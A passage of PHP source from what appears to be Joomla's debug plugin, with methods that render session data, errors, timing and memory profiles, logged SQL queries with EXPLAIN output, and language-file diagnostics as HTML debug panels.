	 * Remove a registered display callback
	 *
	 * @param   string  $name  The name of the callable.
	 *
	 * @return  boolean
	 *
	 * @since   3.7.0
	 */
	public static function removeDisplayCallback($name)
	{
		unset(self::$displayCallbacks[$name]);

		return true;
	}

	/**
	 * Method to check if the current user is allowed to see the debug information or not.
	 *
	 * @return  boolean  True if access is allowed.
	 *
	 * @since   3.0
	 */
	private function isAuthorisedDisplayDebug()
	{
		static $result = null;

		if ($result !== null)
		{
			return $result;
		}

		// If the user is not allowed to view the output then end here.
		$filterGroups = (array) $this->params->get('filter_groups', array());

		if (!empty($filterGroups))
		{
			$userGroups = JFactory::getUser()->get('groups');

			if (!array_intersect($filterGroups, $userGroups))
			{
				$result = false;

				return false;
			}
		}

		$result = true;

		return true;
	}

	/**
	 * General display method.
	 *
	 * @param   string  $item    The item to display.
	 * @param   array   $errors  Errors occurred during execution.
	 *
	 * @return  string
	 *
	 * @since   2.5
	 */
	protected function display($item, array $errors = array())
	{
		$title = JText::_('PLG_DEBUG_' . strtoupper($item));

		$status = '';

		if (count($errors))
		{
			$status = ' dbg-error';
		}

		$fncName = 'display' . ucfirst(str_replace('_', '', $item));

		if (!method_exists($this, $fncName))
		{
			return __METHOD__ . ' -- Unknown method: ' . $fncName . '<br />';
		}

		$html = array();

		$js = "toggleContainer('dbg_container_" . $item . "');";

		$class = 'dbg-header' . $status;

		$html[] = '<div class="' . $class . '" onclick="' . $js . '"><a href="javascript:void(0);"><h3>' . $title . '</h3></a></div>';

		// @todo set with js.. ?
		$style = ' style="display: none;"';

		$html[] = '<div ' . $style . ' class="dbg-container" id="dbg_container_' . $item . '">';
		$html[] = $this->$fncName();
		$html[] = '</div>';

		return implode('', $html);
	}

	/**
	 * Display method for callback functions.
	 *
	 * @param   string    $name      The name of the callable.
	 * @param   callable  $callable  The callable function.
	 *
	 * @return  string
	 *
	 * @since   3.7.0
	 */
	protected function displayCallback($name, $callable)
	{
		$title = JText::_('PLG_DEBUG_' . strtoupper($name));

		$html = array();

		$js = "toggleContainer('dbg_container_" . $name . "');";

		$class = 'dbg-header';

		$html[] = '<div class="' . $class . '" onclick="' . $js . '"><a href="javascript:void(0);"><h3>' . $title . '</h3></a></div>';

		// @todo set with js.. ?
		$style = ' style="display: none;"';

		$html[] = '<div ' . $style . ' class="dbg-container" id="dbg_container_' . $name . '">';
		$html[] = call_user_func($callable);
		$html[] = '</div>';

		return implode('', $html);
	}

	/**
	 * Display session information.
	 *
	 * Called recursively.
	 *
	 * @param   string   $key      A session key.
	 * @param   mixed    $session  The session array, initially null.
	 * @param   integer  $id       Used to identify the DIV for the JavaScript toggling code.
	 *
	 * @return  string
	 *
	 * @since   2.5
	 */
	protected function displaySession($key = '', $session = null, $id = 0)
	{
		if (!$session)
		{
			$session = JFactory::getSession()->getData();
		}

		$html = array();
		static $id;

		if (!is_array($session))
		{
			$html[] = $key . '<pre>' . $this->prettyPrintJSON($session) . '</pre>' . PHP_EOL;
		}
		else
		{
			foreach ($session as $sKey => $entries)
			{
				$display = true;

				if (is_array($entries) && $entries)
				{
					$display = false;
				}

				if (is_object($entries))
				{
					$o = ArrayHelper::fromObject($entries);

					if ($o)
					{
						$entries = $o;
						$display = false;
					}
				}

				if (!$display)
				{
					$js = "toggleContainer('dbg_container_session" . $id . '_' . $sKey . "');";

					$html[] = '<div class="dbg-header" onclick="' . $js . '"><a href="javascript:void(0);"><h3>' . $sKey . '</h3></a></div>';

					// @todo set with js.. ?
					$style = ' style="display: none;"';

					$html[] = '<div ' . $style . ' class="dbg-container" id="dbg_container_session' . $id . '_' . $sKey . '">';
					$id++;

					// Recurse...
					$this->displaySession($sKey, $entries, $id);

					$html[] = '</div>';

					continue;
				}

				if (is_array($entries))
				{
					$entries = implode($entries);
				}

				if (is_string($entries))
				{
					$html[] = $sKey . '<pre>' . $this->prettyPrintJSON($entries) . '</pre>' . PHP_EOL;
				}
			}
		}

		return implode('', $html);
	}

	/**
	 * Display errors.
	 *
	 * @return  string
	 *
	 * @since   2.5
	 */
	protected function displayErrors()
	{
		$html = array();

		$html[] = '<ol>';

		while ($error = JError::getError(true))
		{
			$col = (E_WARNING == $error->get('level')) ? 'red' : 'orange';

			$html[] = '<li>';
			$html[] = '<b style="color: ' . $col . '">' . $error->getMessage() . '</b><br />';

			$info = $error->get('info');

			if ($info)
			{
				$html[] = '<pre>' . print_r($info, true) . '</pre><br />';
			}

			$html[] = $this->renderBacktrace($error);
			$html[] = '</li>';
		}

		$html[] = '</ol>';

		return implode('', $html);
	}

	/**
	 * Display profile information.
	 *
	 * @return  string
	 *
	 * @since   2.5
	 */
	protected function displayProfileInformation()
	{
		$html = array();

		$htmlMarks = array();

		$totalTime = 0;
		$totalMem  = 0;
		$marks     = array();
		$bars      = array();
		$barsMem   = array();

		foreach (JProfiler::getInstance('Application')->getMarks() as $mark)
		{
			$totalTime += $mark->time;
			$totalMem  += (float) $mark->memory;
			$htmlMark  = sprintf(
				JText::_('PLG_DEBUG_TIME') . ': <span class="label label-time">%.2f&nbsp;ms</span> / <span class="label label-default">%.2f&nbsp;ms</span>'
				. ' ' . JText::_('PLG_DEBUG_MEMORY') . ': <span class="label label-memory">%0.3f MB</span> / <span class="label label-default">%0.2f MB</span>'
				. ' %s: %s',
				$mark->time,
				$mark->totalTime,
				$mark->memory,
				$mark->totalMemory,
				$mark->prefix,
				$mark->label
			);

			$marks[] = (object) array(
				'time'   => $mark->time,
				'memory' => $mark->memory,
				'html'   => $htmlMark,
				'tip'    => $mark->label,
			);
		}

		$avgTime = $totalTime / max(count($marks), 1);
		$avgMem  = $totalMem / max(count($marks), 1);

		foreach ($marks as $mark)
		{
			if ($mark->time > $avgTime * 1.5)
			{
				$barClass   = 'bar-danger';
				$labelClass = 'label-important label-danger';
			}
			elseif ($mark->time < $avgTime / 1.5)
			{
				$barClass   = 'bar-success';
				$labelClass = 'label-success';
			}
			else
			{
				$barClass   = 'bar-warning';
				$labelClass = 'label-warning';
			}

			if ($mark->memory > $avgMem * 1.5)
			{
				$barClassMem   = 'bar-danger';
				$labelClassMem = 'label-important label-danger';
			}
			elseif ($mark->memory < $avgMem / 1.5)
			{
				$barClassMem   = 'bar-success';
				$labelClassMem = 'label-success';
			}
			else
			{
				$barClassMem   = 'bar-warning';
				$labelClassMem = 'label-warning';
			}

			$barClass    .= " progress-$barClass";
			$barClassMem .= " progress-$barClassMem";

			$bars[] = (object) array(
				'width' => round($mark->time / ($totalTime / 100), 4),
				'class' => $barClass,
				'tip'   => $mark->tip . ' ' . round($mark->time, 2) . ' ms',
			);

			$barsMem[] = (object) array(
				'width' => round((float) $mark->memory / ($totalMem / 100), 4),
				'class' => $barClassMem,
				'tip'   => $mark->tip . ' ' . round($mark->memory, 3) . '  MB',
			);

			$htmlMarks[] = '<div>' . str_replace('label-time', $labelClass, str_replace('label-memory', $labelClassMem, $mark->html)) . '</div>';
		}

		$html[] = '<h4>' . JText::_('PLG_DEBUG_TIME') . '</h4>';
		$html[] = $this->renderBars($bars, 'profile');
		$html[] = '<h4>' . JText::_('PLG_DEBUG_MEMORY') . '</h4>';
		$html[] = $this->renderBars($barsMem, 'profile');

		$html[] = '<div class="dbg-profile-list">' . implode('', $htmlMarks) . '</div>';

		$db = $this->db;

		//  fix  for support custom shutdown function via register_shutdown_function().
		$db->disconnect();

		$log = $db->getLog();

		if ($log)
		{
			$timings = $db->getTimings();

			if ($timings)
			{
				$totalQueryTime = 0.0;
				$lastStart      = null;

				foreach ($timings as $k => $v)
				{
					if (!($k % 2))
					{
						$lastStart = $v;
					}
					else
					{
						$totalQueryTime += $v - $lastStart;
					}
				}

				$totalQueryTime *= 1000;

				if ($totalQueryTime > ($totalTime * 0.25))
				{
					$labelClass = 'label-important';
				}
				elseif ($totalQueryTime < ($totalTime * 0.15))
				{
					$labelClass = 'label-success';
				}
				else
				{
					$labelClass = 'label-warning';
				}

				$html[] = '<br /><div>' . JText::sprintf(
						'PLG_DEBUG_QUERIES_TIME',
						sprintf('<span class="label ' . $labelClass . '">%.2f&nbsp;ms</span>', $totalQueryTime)
					) . '</div>';

				if ($this->params->get('log-executed-sql', 0))
				{
					$this->writeToFile();
				}
			}
		}

		return implode('', $html);
	}

	/**
	 * Display memory usage.
	 *
	 * @return  string
	 *
	 * @since   2.5
	 */
	protected function displayMemoryUsage()
	{
		$bytes = memory_get_usage();

		return '<span class="label label-default">' . JHtml::_('number.bytes', $bytes) . '</span>'
			. ' (<span class="label label-default">'
			. number_format($bytes, 0, JText::_('DECIMALS_SEPARATOR'), JText::_('THOUSANDS_SEPARATOR'))
			. ' '
			. JText::_('PLG_DEBUG_BYTES')
			. '</span>)';
	}

	/**
	 * Display logged queries.
	 *
	 * @return  string
	 *
	 * @since   2.5
	 */
	protected function displayQueries()
	{
		$db  = $this->db;
		$log = $db->getLog();

		if (!$log)
		{
			return null;
		}

		$timings    = $db->getTimings();
		$callStacks = $db->getCallStacks();

		$db->setDebug(false);

		$selectQueryTypeTicker = array();
		$otherQueryTypeTicker  = array();

		$timing  = array();
		$maxtime = 0;

		if (isset($timings[0]))
		{
			$startTime         = $timings[0];
			$endTime           = $timings[count($timings) - 1];
			$totalBargraphTime = $endTime - $startTime;

			if ($totalBargraphTime > 0)
			{
				foreach ($log as $id => $query)
				{
					if (isset($timings[$id * 2 + 1]))
					{
						// Compute the query time: $timing[$k] = array( queryTime, timeBetweenQueries ).
						$timing[$id] = array(
							($timings[$id * 2 + 1] - $timings[$id * 2]) * 1000,
							$id > 0 ? ($timings[$id * 2] - $timings[$id * 2 - 1]) * 1000 : 0,
						);
						$maxtime     = max($maxtime, $timing[$id]['0']);
					}
				}
			}
		}
		else
		{
			$startTime         = null;
			$totalBargraphTime = 1;
		}

		$bars           = array();
		$info           = array();
		$totalQueryTime = 0;
		$duplicates     = array();

		foreach ($log as $id => $query)
		{
			$did = md5($query);

			if (!isset($duplicates[$did]))
			{
				$duplicates[$did] = array();
			}

			$duplicates[$did][] = $id;

			if ($timings && isset($timings[$id * 2 + 1]))
			{
				// Compute the query time.
				$queryTime      = ($timings[$id * 2 + 1] - $timings[$id * 2]) * 1000;
				$totalQueryTime += $queryTime;

				// Run an EXPLAIN EXTENDED query on the SQL query if possible.
				$hasWarnings          = false;
				$hasWarningsInProfile = false;

				if (isset($this->explains[$id]))
				{
					$explain = $this->tableToHtml($this->explains[$id], $hasWarnings);
				}
				else
				{
					$explain = JText::sprintf('PLG_DEBUG_QUERY_EXPLAIN_NOT_POSSIBLE', htmlspecialchars($query));
				}

				// Run a SHOW PROFILE query.
				$profile = '';

				if (isset($this->sqlShowProfileEach[$id]) && $db->getServerType() === 'mysql')
				{
					$profileTable = $this->sqlShowProfileEach[$id];
					$profile      = $this->tableToHtml($profileTable, $hasWarningsInProfile);
				}

				// How heavy should the string length count: 0 - 1.
				$ratio     = 0.5;
				$timeScore = $queryTime / ((strlen($query) + 1) * $ratio) * 200;

				// Determine color of bargraph depending on query speed and presence of warnings in EXPLAIN.
				if ($timeScore > 10)
				{
					$barClass   = 'bar-danger';
					$labelClass = 'label-important';
				}
				elseif ($hasWarnings || $timeScore > 5)
				{
					$barClass   = 'bar-warning';
					$labelClass = 'label-warning';
				}
				else
				{
					$barClass   = 'bar-success';
					$labelClass = 'label-success';
				}

				// Computes bargraph as follows: Position begin and end of the bar relatively to whole execution time.
				// TODO: $prevBar is not used anywhere. Remove?
				$prevBar = $id && isset($bars[$id - 1]) ? $bars[$id - 1] : 0;

				$barPre   = round($timing[$id][1] / ($totalBargraphTime * 10), 4);
				$barWidth = round($timing[$id][0] / ($totalBargraphTime * 10), 4);
				$minWidth = 0.3;

				if ($barWidth < $minWidth)
				{
					$barPre -= ($minWidth - $barWidth);

					if ($barPre < 0)
					{
						$minWidth += $barPre;
						$barPre   = 0;
					}

					$barWidth = $minWidth;
				}

				$bars[$id] = (object) array(
					'class' => $barClass,
					'width' => $barWidth,
					'pre'   => $barPre,
					'tip'   => sprintf('%.2f ms', $queryTime),
				);
				$info[$id] = (object) array(
					'class'       => $labelClass,
					'explain'     => $explain,
					'profile'     => $profile,
					'hasWarnings' => $hasWarnings,
				);
			}
		}

		// Remove single queries from $duplicates.
		$total_duplicates = 0;

		foreach ($duplicates as $did => $dups)
		{
			if (count($dups) < 2)
			{
				unset($duplicates[$did]);
			}
			else
			{
				$total_duplicates += count($dups);
			}
		}

		// Fix first bar width.
		$minWidth = 0.3;

		if ($bars[0]->width < $minWidth && isset($bars[1]))
		{
			$bars[1]->pre -= ($minWidth - $bars[0]->width);

			if ($bars[1]->pre < 0)
			{
				$minWidth     += $bars[1]->pre;
				$bars[1]->pre = 0;
			}

			$bars[0]->width = $minWidth;
		}

		$memoryUsageNow = memory_get_usage();
		$list           = array();

		foreach ($log as $id => $query)
		{
			// Start query type ticker additions.
			$fromStart  = stripos($query, 'from');
			$whereStart = stripos($query, 'where', $fromStart);

			if ($whereStart === false)
			{
				$whereStart = stripos($query, 'order by', $fromStart);
			}

			if ($whereStart === false)
			{
				$whereStart = strlen($query) - 1;
			}

			$fromString = substr($query, 0, $whereStart);
			$fromString = str_replace(array("\t", "\n"), ' ', $fromString);
			$fromString = trim($fromString);

			// Initialise the select/other query type counts the first time.
			if (!isset($selectQueryTypeTicker[$fromString]))
			{
				$selectQueryTypeTicker[$fromString] = 0;
			}

			if (!isset($otherQueryTypeTicker[$fromString]))
			{
				$otherQueryTypeTicker[$fromString] = 0;
			}

			// Increment the count.
			if (stripos($query, 'select') === 0)
			{
				$selectQueryTypeTicker[$fromString]++;
				unset($otherQueryTypeTicker[$fromString]);
			}
			else
			{
				$otherQueryTypeTicker[$fromString]++;
				unset($selectQueryTypeTicker[$fromString]);
			}

			$text = $this->highlightQuery($query);

			if ($timings && isset($timings[$id * 2 + 1]))
			{
				// Compute the query time.
				$queryTime = ($timings[$id * 2 + 1] - $timings[$id * 2]) * 1000;

				// Timing
				// Formats the output for the query time with EXPLAIN query results as tooltip:
				$htmlTiming = '<div style="margin: 0 0 5px;"><span class="dbg-query-time">';
				$htmlTiming .= JText::sprintf(
					'PLG_DEBUG_QUERY_TIME',
					sprintf(
						'<span class="label %s">%.2f&nbsp;ms</span>',
						$info[$id]->class,
						$timing[$id]['0']
					)
				);

				if ($timing[$id]['1'])
				{
					$htmlTiming .= ' ' . JText::sprintf(
							'PLG_DEBUG_QUERY_AFTER_LAST',
							sprintf('<span class="label label-default">%.2f&nbsp;ms</span>', $timing[$id]['1'])
						);
				}

				$htmlTiming .= '</span>';

				if (isset($callStacks[$id][0]['memory']))
				{
					$memoryUsed        = $callStacks[$id][0]['memory'][1] - $callStacks[$id][0]['memory'][0];
					$memoryBeforeQuery = $callStacks[$id][0]['memory'][0];

					// Determine colour of query memory usage.
					if ($memoryUsed > 0.1 * $memoryUsageNow)
					{
						$labelClass = 'label-important';
					}
					elseif ($memoryUsed > 0.05 * $memoryUsageNow)
					{
						$labelClass = 'label-warning';
					}
					else
					{
						$labelClass = 'label-success';
					}

					$htmlTiming .= ' ' . '<span class="dbg-query-memory">'
						. JText::sprintf(
							'PLG_DEBUG_MEMORY_USED_FOR_QUERY',
							sprintf('<span class="label ' . $labelClass . '">%.3f&nbsp;MB</span>', $memoryUsed / 1048576),
							sprintf('<span class="label label-default">%.3f&nbsp;MB</span>', $memoryBeforeQuery / 1048576)
						)
						. '</span>';

					if ($callStacks[$id][0]['memory'][2] !== null)
					{
						// Determine colour of number or results.
						$resultsReturned = $callStacks[$id][0]['memory'][2];

						if ($resultsReturned > 3000)
						{
							$labelClass = 'label-important';
						}
						elseif ($resultsReturned > 1000)
						{
							$labelClass = 'label-warning';
						}
						elseif ($resultsReturned == 0)
						{
							$labelClass = '';
						}
						else
						{
							$labelClass = 'label-success';
						}

						$htmlResultsReturned = '<span class="label ' . $labelClass . '">' . (int) $resultsReturned . '</span>';
						$htmlTiming          .= ' <span class="dbg-query-rowsnumber">'
							. JText::sprintf('PLG_DEBUG_ROWS_RETURNED_BY_QUERY', $htmlResultsReturned) . '</span>';
					}
				}

				$htmlTiming .= '</div>';

				// Bar.
				$htmlBar = $this->renderBars($bars, 'query', $id);

				// Profile query.
				$title = JText::_('PLG_DEBUG_PROFILE');

				if (!$info[$id]->profile)
				{
					$title = '<span class="dbg-noprofile">' . $title . '</span>';
				}

				$htmlProfile = $info[$id]->profile ?: JText::_('PLG_DEBUG_NO_PROFILE');

				$htmlAccordions = JHtml::_(
					'bootstrap.startAccordion', 'dbg_query_' . $id, array(
						'active' => $info[$id]->hasWarnings ? ('dbg_query_explain_' . $id) : '',
					)
				);

				$htmlAccordions .= JHtml::_('bootstrap.addSlide', 'dbg_query_' . $id, JText::_('PLG_DEBUG_EXPLAIN'), 'dbg_query_explain_' . $id)
					. $info[$id]->explain
					. JHtml::_('bootstrap.endSlide');

				$htmlAccordions .= JHtml::_('bootstrap.addSlide', 'dbg_query_' . $id, $title, 'dbg_query_profile_' . $id)
					. $htmlProfile
					. JHtml::_('bootstrap.endSlide');

				// Call stack and back trace.
				if (isset($callStacks[$id]))
				{
					$htmlAccordions .= JHtml::_('bootstrap.addSlide', 'dbg_query_' . $id, JText::_('PLG_DEBUG_CALL_STACK'), 'dbg_query_callstack_' . $id)
						. $this->renderCallStack($callStacks[$id])
						. JHtml::_('bootstrap.endSlide');
				}

				$htmlAccordions .= JHtml::_('bootstrap.endAccordion');

				$did = md5($query);

				if (isset($duplicates[$did]))
				{
					$dups = array();

					foreach ($duplicates[$did] as $dup)
					{
						if ($dup != $id)
						{
							$dups[] = '<a class="alert-link" href="#dbg-query-' . ($dup + 1) . '">#' . ($dup + 1) . '</a>';
						}
					}

					$htmlQuery = '<div class="alert alert-error">' . JText::_('PLG_DEBUG_QUERY_DUPLICATES') . ': ' . implode('&nbsp; ', $dups) . '</div>'
						. '<pre class="alert" title="' . htmlspecialchars(JText::_('PLG_DEBUG_QUERY_DUPLICATES_FOUND'), ENT_COMPAT, 'UTF-8') . '">' . $text . '</pre>';
				}
				else
				{
					$htmlQuery = '<pre>' . $text . '</pre>';
				}

				$list[] = '<a name="dbg-query-' . ($id + 1) . '"></a>'
					. $htmlTiming
					. $htmlBar
					. $htmlQuery
					. $htmlAccordions;
			}
			else
			{
				$list[] = '<pre>' . $text . '</pre>';
			}
		}

		$totalTime = 0;

		foreach (JProfiler::getInstance('Application')->getMarks() as $mark)
		{
			$totalTime += $mark->time;
		}

		if ($totalQueryTime > ($totalTime * 0.25))
		{
			$labelClass = 'label-important';
		}
		elseif ($totalQueryTime < ($totalTime * 0.15))
		{
			$labelClass = 'label-success';
		}
		else
		{
			$labelClass = 'label-warning';
		}

		if ($this->totalQueries === 0)
		{
			$this->totalQueries = $db->getCount();
		}

		$html = array();

		$html[] = '<h4>' . JText::sprintf('PLG_DEBUG_QUERIES_LOGGED', $this->totalQueries)
			. sprintf(' <span class="label ' . $labelClass . '">%.2f&nbsp;ms</span>', $totalQueryTime) . '</h4><br />';

		if ($total_duplicates)
		{
			$html[] = '<div class="alert alert-error">'
				. '<h4>' . JText::sprintf('PLG_DEBUG_QUERY_DUPLICATES_TOTAL_NUMBER', $total_duplicates) . '</h4>';

			foreach ($duplicates as $dups)
			{
				$links = array();

				foreach ($dups as $dup)
				{
					$links[] = '<a class="alert-link" href="#dbg-query-' . ($dup + 1) . '">#' . ($dup + 1) . '</a>';
				}

				$html[] = '<div>' . JText::sprintf('PLG_DEBUG_QUERY_DUPLICATES_NUMBER', count($links)) . ': ' . implode('&nbsp; ', $links) . '</div>';
			}

			$html[] = '</div>';
		}

		$html[] = '<ol><li>' . implode('<hr /></li><li>', $list) . '<hr /></li></ol>';

		if (!$this->params->get('query_types', 1))
		{
			return implode('', $html);
		}

		// Get the totals for the query types.
		$totalSelectQueryTypes = count($selectQueryTypeTicker);
		$totalOtherQueryTypes  = count($otherQueryTypeTicker);
		$totalQueryTypes       = $totalSelectQueryTypes + $totalOtherQueryTypes;

		$html[] = '<h4>' . JText::sprintf('PLG_DEBUG_QUERY_TYPES_LOGGED', $totalQueryTypes) . '</h4>';

		if ($totalSelectQueryTypes)
		{
			$html[] = '<h5>' . JText::_('PLG_DEBUG_SELECT_QUERIES') . '</h5>';

			arsort($selectQueryTypeTicker);

			$list = array();

			foreach ($selectQueryTypeTicker as $query => $occurrences)
			{
				$list[] = '<pre>'
					. JText::sprintf('PLG_DEBUG_QUERY_TYPE_AND_OCCURRENCES', $this->highlightQuery($query), $occurrences)
					. '</pre>';
			}

			$html[] = '<ol><li>' . implode('</li><li>', $list) . '</li></ol>';
		}

		if ($totalOtherQueryTypes)
		{
			$html[] = '<h5>' . JText::_('PLG_DEBUG_OTHER_QUERIES') . '</h5>';

			arsort($otherQueryTypeTicker);

			$list = array();

			foreach ($otherQueryTypeTicker as $query => $occurrences)
			{
				$list[] = '<pre>'
					. JText::sprintf('PLG_DEBUG_QUERY_TYPE_AND_OCCURRENCES', $this->highlightQuery($query), $occurrences)
					. '</pre>';
			}

			$html[] = '<ol><li>' . implode('</li><li>', $list) . '</li></ol>';
		}

		return implode('', $html);
	}

	/**
	 * Render the bars.
	 *
	 * @param   array    &$bars  Array of bar data
	 * @param   string   $class  Optional class for items
	 * @param   integer  $id     Id if the bar to highlight
	 *
	 * @return  string
	 *
	 * @since   3.1.2
	 */
	protected function renderBars(&$bars, $class = '', $id = null)
	{
		$html = array();

		foreach ($bars as $i => $bar)
		{
			if (isset($bar->pre) && $bar->pre)
			{
				$html[] = '<div class="dbg-bar-spacer" style="width:' . $bar->pre . '%;"></div>';
			}

			$barClass = trim('bar dbg-bar progress-bar ' . (isset($bar->class) ? $bar->class : ''));

			if ($id !== null && $i == $id)
			{
				$barClass .= ' dbg-bar-active';
			}

			$tip = empty($bar->tip) ? '' : ' title="' . htmlspecialchars($bar->tip, ENT_COMPAT, 'UTF-8') . '"';

			$html[] = '<a class="bar dbg-bar ' . $barClass . '"' . $tip . ' style="width: '
				. $bar->width . '%;" href="#dbg-' . $class . '-' . ($i + 1) . '"></a>';
		}

		return '<div class="progress dbg-bars dbg-bars-' . $class . '">' . implode('', $html) . '</div>';
	}

	/**
	 * Render an HTML table based on a multi-dimensional array.
	 *
	 * @param   array    $table         An array of tabular data.
	 * @param   boolean  &$hasWarnings  Changes value to true if warnings are displayed, otherwise untouched
	 *
	 * @return  string
	 *
	 * @since   3.1.2
	 */
	protected function tableToHtml($table, &$hasWarnings)
	{
		if (!$table)
		{
			return null;
		}

		$html = array();

		$html[] = '<table class="table table-striped dbg-query-table">';
		$html[] = '<thead>';
		$html[] = '<tr>';

		foreach (array_keys($table[0]) as $k)
		{
			$html[] = '<th>' . htmlspecialchars($k) . '</th>';
		}

		$html[]    = '</tr>';
		$html[]    = '</thead>';
		$html[]    = '<tbody>';
		$durations = array();

		foreach ($table as $tr)
		{
			if (isset($tr['Duration']))
			{
				$durations[] = $tr['Duration'];
			}
		}

		rsort($durations, SORT_NUMERIC);

		foreach ($table as $tr)
		{
			$html[] = '<tr>';

			foreach ($tr as $k => $td)
			{
				if ($td === null)
				{
					// Display null's as 'NULL'.
					$td = 'NULL';
				}

				// Treat special columns.
				if ($k === 'Duration')
				{
					if ($td >= 0.001 && ($td == $durations[0] || (isset($durations[1]) && $td == $durations[1])))
					{
						// Duration column with duration value of more than 1 ms and within 2 top duration in SQL engine: Highlight warning.
						$html[]      = '<td class="dbg-warning">';
						$hasWarnings = true;
					}
					else
					{
						$html[] = '<td>';
					}

					// Display duration in milliseconds with the unit instead of seconds.
					$html[] = sprintf('%.2f&nbsp;ms', $td * 1000);
				}
				elseif ($k === 'Error')
				{
					// An error in the EXPLAIN query occurred, display it instead of the result (means original query had syntax error most probably).
					$html[]      = '<td class="dbg-warning">' . htmlspecialchars($td);
					$hasWarnings = true;
				}
				elseif ($k === 'key')
				{
					if ($td === 'NULL')
					{
						// Displays query parts which don't use a key with warning:
						$html[]      = '<td><strong>' . '<span class="dbg-warning" title="'
							. htmlspecialchars(JText::_('PLG_DEBUG_WARNING_NO_INDEX_DESC'), ENT_COMPAT, 'UTF-8') . '">'
							. JText::_('PLG_DEBUG_WARNING_NO_INDEX') . '</span>' . '</strong>';
						$hasWarnings = true;
					}
					else
					{
						$html[] = '<td><strong>' . htmlspecialchars($td) . '</strong>';
					}
				}
				elseif ($k === 'Extra')
				{
					$htmlTd = htmlspecialchars($td);

					// Replace spaces with &nbsp; (non-breaking spaces) for less tall tables displayed.
					$htmlTd = preg_replace('/([^;]) /', '\1&nbsp;', $htmlTd);

					// Displays warnings for "Using filesort":
					$htmlTdWithWarnings = str_replace(
						'Using&nbsp;filesort',
						'<span class="dbg-warning" title="'
						. htmlspecialchars(JText::_('PLG_DEBUG_WARNING_USING_FILESORT_DESC'), ENT_COMPAT, 'UTF-8') . '">'
						. JText::_('PLG_DEBUG_WARNING_USING_FILESORT') . '</span>',
						$htmlTd
					);

					if ($htmlTdWithWarnings !== $htmlTd)
					{
						$hasWarnings = true;
					}

					$html[] = '<td>' . $htmlTdWithWarnings;
				}
				else
				{
					$html[] = '<td>' . htmlspecialchars($td);
				}

				$html[] = '</td>';
			}

			$html[] = '</tr>';
		}

		$html[] = '</tbody>';
		$html[] = '</table>';

		return implode('', $html);
	}

	/**
	 * Disconnect handler for database to collect profiling and explain information.
	 *
	 * @param   JDatabaseDriver  &$db  Database object.
	 *
	 * @return  void
	 *
	 * @since   3.1.2
	 */
	public function mysqlDisconnectHandler(&$db)
	{
		$db->setDebug(false);

		$this->totalQueries = $db->getCount();

		$dbVersion5037 = $db->getServerType() === 'mysql' && version_compare($db->getVersion(), '5.0.37', '>=');

		if ($dbVersion5037)
		{
			try
			{
				// Check if profiling is enabled.
				$db->setQuery("SHOW VARIABLES LIKE 'have_profiling'");
				$hasProfiling = $db->loadResult();

				if ($hasProfiling)
				{
					// Run a SHOW PROFILE query.
					$db->setQuery('SHOW PROFILES');
					$this->sqlShowProfiles = $db->loadAssocList();

					if ($this->sqlShowProfiles)
					{
						foreach ($this->sqlShowProfiles as $qn)
						{
							// Run SHOW PROFILE FOR QUERY for each query where a profile is available (max 100).
							$db->setQuery('SHOW PROFILE FOR QUERY ' . (int) $qn['Query_ID']);
							$this->sqlShowProfileEach[(int) ($qn['Query_ID'] - 1)] = $db->loadAssocList();
						}
					}
				}
				else
				{
					$this->sqlShowProfileEach[0] = array(array('Error' => 'MySql have_profiling = off'));
				}
			}
			catch (Exception $e)
			{
				$this->sqlShowProfileEach[0] = array(array('Error' => $e->getMessage()));
			}
		}

		if (in_array($db->getServerType(), array('mysql', 'postgresql'), true))
		{
			$log = $db->getLog();

			foreach ($log as $k => $query)
			{
				$dbVersion56 = $db->getServerType() === 'mysql' && version_compare($db->getVersion(), '5.6', '>=');
				$dbVersion80 = $db->getServerType() === 'mysql' && version_compare($db->getVersion(), '8.0', '>=');

				if ($dbVersion80)
				{
					$dbVersion56 = false;
				}

				if ((stripos($query, 'select') === 0) || ($dbVersion56 && ((stripos($query, 'delete') === 0) || (stripos($query, 'update') === 0))))
				{
					try
					{
						$db->setQuery('EXPLAIN ' . ($dbVersion56 ? 'EXTENDED ' : '') . $query);
						$this->explains[$k] = $db->loadAssocList();
					}
					catch (Exception $e)
					{
						$this->explains[$k] = array(array('Error' => $e->getMessage()));
					}
				}
			}
		}
	}

	/**
	 * Displays errors in language files.
	 *
	 * @return  string
	 *
	 * @since   2.5
	 */
	protected function displayLanguageFilesInError()
	{
		$errorfiles = JFactory::getLanguage()->getErrorFiles();

		if (!count($errorfiles))
		{
			return '<p>' . JText::_('JNONE') . '</p>';
		}

		$html = array();

		$html[] = '<ul>';

		foreach ($errorfiles as $file => $error)
		{
			$html[] = '<li>' . $this->formatLink($file) . str_replace($file, '', $error) . '</li>';
		}

		$html[] = '</ul>';

		return implode('', $html);
	}

	/**
	 * Display loaded language files.
	 *
	 * @return  string
	 *
	 * @since   2.5
	 */
	protected function displayLanguageFilesLoaded()
	{
		$html = array();

		$html[] = '<ul>';

		foreach (JFactory::getLanguage()->getPaths() as /* $extension => */ $files)
		{
			foreach ($files as $file => $status)
			{
				$html[] = '<li>';

				$html[] = $status
					? JText::_('PLG_DEBUG_LANG_LOADED')
					: JText::_('PLG_DEBUG_LANG_NOT_LOADED');

				$html[] = ' : ';
				$html[] = $this->formatLink($file);
				$html[] = '</li>';
			}
		}

		$html[] = '</ul>';

		return implode('', $html);
	}

	/**
	 * Display untranslated language strings.
	 *
	 * @return  string
	 *
	 * @since   2.5
	 */
	protected function displayUntranslatedStrings()
	{
		$stripFirst = $this->params->get('strip-first', 1);
		$stripPref  = $this->params->get('strip-prefix');
		$stripSuff  = $this->params->get('strip-suffix');

		$orphans = JFactory::getLanguage()->getOrphans();

		if (!count($orphans))
		{
			return '<p>' . JText::_('JNONE') . '</p>';
		}

		ksort($orphans, SORT_STRING);

		$guesses = array();

		foreach ($orphans as $key => $occurance)
		{
			if (is_array($occurance) && isset($occurance[0]))
			{
				$info = $occurance[0];
				$file = $info['file'] ?: '';

				if (!isset($guesses[$file]))
				{
					$guesses[$file] = array();
				}

				// Prepare the key.
				if (($pos = strpos($info['string'], '=')) > 0)
				{
					$parts = explode('=', $info['string']);
					$key   = $parts[0];
					$guess = $parts[1];
				}
				else
				{
					$guess = str_replace('_', ' ', $info['string']);

					if ($stripFirst)
					{
						$parts = explode(' ', $guess);

						if (count($parts) > 1)
						{
							array_shift($parts);
							$guess = implode(' ', $parts);
						}
					}

					$guess = trim($guess);

					if ($stripPref)
					{
						$guess = trim(preg_replace(chr(1) . '^' . $stripPref . chr(1) . 'i', '', $guess));
					}

					if ($stripSuff)
					{
						$guess = trim(preg_replace(chr(1) . $stripSuff . '$' . chr(1) . 'i', '', $guess));
					}
